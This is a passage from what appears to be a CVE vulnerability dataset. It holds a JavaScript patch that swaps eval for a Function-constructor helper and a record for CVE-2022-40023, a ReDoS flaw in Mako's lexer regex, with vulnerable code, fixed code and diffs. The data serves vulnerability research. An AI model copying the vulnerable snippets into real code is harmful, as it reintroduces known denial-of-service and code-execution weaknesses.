tmp[k] = sort(obj[k]);\n                 } else if (obj[k] != null && typeof(obj[k]) === \"function\") {\n-                    tmp[k] = eval(obj[k].toString())\n+                    tmp[k] = evil(obj[k].toString())\n                 } else {\n                     tmp[k] = new String(obj[k]).toString();\n                 }\n\n--- a/util/utils.js\n+++ b/util/utils.js\n@@ -1 +1,4 @@\n-};\n+function evil(fn) {\n+    let Fn = Function;\n+    return new Fn('return ' + fn)();\n+}\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-40023", "cve_description": "Sqlalchemy mako before 1.2.2 is vulnerable to Regular expression Denial of Service when using the Lexer class to parse. This also affects babelplugin and linguaplugin.", "cwe_info": {"CWE-1333": {"name": "Inefficient Regular Expression Complexity", "description": "The product uses a regular expression with an inefficient, possibly exponential worst-case computational complexity that consumes excessive CPU cycles."}}, "repo": "https://github.com/sqlalchemy/mako", "patch_url": ["https://github.com/sqlalchemy/mako/commit/925760291d6efec64fda6e9dd1fd9cfbd5be068c"], "programing_language": "Python", "vul_func": [{"id": "vul_py_434_1", "commit": "7c5b28a", "file_path": "mako/lexer.py", "start_line": "274", "end_line": "318", "snippet": "    def match_tag_start(self):\n        match = self.match(\n            r\"\"\"\n            \\<%     # opening tag\n\n            ([\\w\\.\\:]+)   # keyword\n\n            ((?:\\s+\\w+|\\s*=\\s*|\".*?\"|'.*?')*)  # attrname, = \\\n                                               #        sign, string expression\n\n            \\s*     # more whitespace\n\n            (/)?>   # closing\n\n            \"\"\",\n            re.I | re.S | re.X,\n        )\n\n        if not match:\n            return False\n\n        keyword, attr, isend = match.groups()\n        self.keyword = keyword\n        attributes = {}\n        if attr:\n            for att in re.findall(\n                r\"\\s*(\\w+)\\s*=\\s*(?:'([^']*)'|\\\"([^\\\"]*)\\\")\", attr\n            ):\n                key, val1, val2 = att\n                text = val1 or val2\n                text = text.replace(\"\\r\\n\", \"\\n\")\n                attributes[key] = text\n        self.append_node(parsetree.Tag, keyword, attributes)\n        if isend:\n            self.tag.pop()\n        elif keyword == \"text\":\n            match = self.match(r\"(.*?)(?=\\</%text>)\", re.S)\n            if not match:\n                raise exceptions.SyntaxException(\n                    \"Unclosed tag: <%%%s>\" % self.tag[-1].keyword,\n                    **self.exception_kwargs,\n                )\n            self.append_node(parsetree.Text, match.group(1))\n            return self.match_tag_end()\n        return True"}], "fix_func": [{"id": "fix_py_434_1", "commit": "925760291d6efec64fda6e9dd1fd9cfbd5be068c", "file_path": "mako/lexer.py", "start_line": "274", "end_line": "322", "snippet": "    def match_tag_start(self):\n        reg = r\"\"\"\n            \\<%     # opening tag\n\n            ([\\w\\.\\:]+)   # keyword\n\n            ((?:\\s+\\w+|\\s*=\\s*|\"[^\"]*?\"|'[^']*?'|\\s*,\\s*)*)  # attrname, = \\\n                                               #        sign, string expression\n                                               # comma is for backwards compat\n                                               # identified in #366\n\n            \\s*     # more whitespace\n\n            (/)?>   # closing\n\n        \"\"\"\n\n        match = self.match(\n            reg,\n            re.I | re.S | re.X,\n        )\n\n        if not match:\n            return False\n\n        keyword, attr, isend = match.groups()\n        self.keyword = keyword\n        attributes = {}\n        if attr:\n            for att in re.findall(\n                r\"\\s*(\\w+)\\s*=\\s*(?:'([^']*)'|\\\"([^\\\"]*)\\\")\", attr\n            ):\n                key, val1, val2 = att\n                text = val1 or val2\n                text = text.replace(\"\\r\\n\", \"\\n\")\n                attributes[key] = text\n        self.append_node(parsetree.Tag, keyword, attributes)\n        if isend:\n            self.tag.pop()\n        elif keyword == \"text\":\n            match = self.match(r\"(.*?)(?=\\</%text>)\", re.S)\n            if not match:\n                raise exceptions.SyntaxException(\n                    \"Unclosed tag: <%%%s>\" % self.tag[-1].keyword,\n                    **self.exception_kwargs,\n                )\n            self.append_node(parsetree.Text, match.group(1))\n            return self.match_tag_end()\n        return True"}], "vul_patch": "--- a/mako/lexer.py\n+++ b/mako/lexer.py\n@@ -1,18 +1,22 @@\n     def match_tag_start(self):\n-        match = self.match(\n-            r\"\"\"\n+        reg = r\"\"\"\n             \\<%     # opening tag\n \n             ([\\w\\.\\:]+)   # keyword\n \n-            ((?:\\s+\\w+|\\s*=\\s*|\".*?\"|'.*?')*)  # attrname, = \\\n+            ((?:\\s+\\w+|\\s*=\\s*|\"[^\"]*?\"|'[^']*?'|\\s*,\\s*)*)  # attrname, = \\\n                                                #        sign, string expression\n+                                               # comma is for backwards compat\n+                                               # identified in #366\n \n             \\s*     # more whitespace\n \n             (/)?>   # closing\n \n-            \"\"\",\n+        \"\"\"\n+\n+        match = self.match(\n+            reg,\n             re.I | re.S | re.X,\n         )\n \n\n", "poc_patch": null, "unit_test_cmd": null}